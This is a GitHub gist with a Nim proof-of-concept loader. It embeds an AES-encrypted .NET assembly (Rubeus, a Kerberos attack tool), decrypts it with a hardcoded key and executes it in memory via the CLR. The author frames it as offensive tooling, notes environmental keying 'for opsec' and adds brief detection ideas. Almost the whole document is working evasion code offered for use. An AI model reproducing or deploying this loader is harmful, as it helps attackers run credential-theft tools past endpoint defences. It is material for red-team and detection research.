Skip to content

Instantly share code, notes, and snippets.

@ChoiSG
Last active September 19, 2022 17:31
Show Gist options
  • Save ChoiSG/2caf1c492fda7480e4faa0651ce8fedb to your computer and use it in GitHub Desktop.
Save ChoiSG/2caf1c492fda7480e4faa0651ce8fedb to your computer and use it in GitHub Desktop.
embed .net, decrypt, load and execute in nim poc
import nimcrypto
import winim/clr except `[]` # https://s3cur3th1ssh1t.github.io/Playing-with-OffensiveNim/ <-- thank you so much, 2 hours googling I almost went crazy
#[
All credit goes to @byt3bl33d3r (OffensiveNim) and @s3cur3th1ssh1t
nimble install winim nimcrypto zippy
nim c -d:danger -d:strip --opt:size rsrcDecryptAssembly.nim
slurp = "staticRead" will read the file and store it in the variable (.rdata) on compile time.
- The filename string itself is not inside this nim binary
Detection Ideas: ETW (etwbypass nim exists, but still), huge .rdata section size, CLRCreateInstance call,
RW memory region committed with the size that is very similar to .rdata's size
]#
func toByteSeq*(str: string): seq[byte] {.inline.} =
@(str.toOpenArrayByte(0, str.high))
const NET_RESOURCE = slurp("C:\\dev\\test3\\Confused\\Rubeus_35s0x9oj.exe.aes")
var encryptedData: seq[byte] = toByteSeq(NET_RESOURCE)
var envIV = newSeq[byte](16)
# First 16 bytes of the encrypted payload is the prepended IV
for i in 0..15:
envIV[i] = encryptedData[i]
# Technically multiplier should be used for array's size instead of "50000" below. But can't figure out at compile time.
#var multiplier = len(encryptedData) / aes256.sizeBlock
# Decrypting - hardcoding the key for PoC. Use environmental keying for opsec.
var envkey: string = "helloworld"
var key: array[aes256.sizeKey, byte]
var iv: array[aes256.sizeBlock, byte]
var data: array[aes256.sizeBlock * 50000, byte]
var decryptedData: array[aes256.sizeBlock * 50000, byte]
var expandedkey = sha256.digest(envkey)
copyMem(addr key[0], addr expandedkey.data[0], len(expandedkey.data))
copyMem(addr iv[0], addr envIV[0], len(envIV))
# Jumping over 16 bytes as an offset because first 16 bytes is the prepended IV
copyMem(addr data[0], addr encryptedData[16], len(encryptedData)-16)
var dctx: CBC[aes256]
dctx.init(key,iv)
dctx.decrypt(data, decryptedData)
dctx.clear()
echo "[+] Loading assembly - Press enter"
var input= readLine(stdin)
var assembly = load(decryptedData)
echo "[+] Invoking asembly - Press enter"
input = readLine(stdin)
var arr = toCLRVariant(["triage"], VT_BSTR) # Pass whatever argument
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))
echo "[+] Exiting - Press enter"
input = readLine(stdin)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment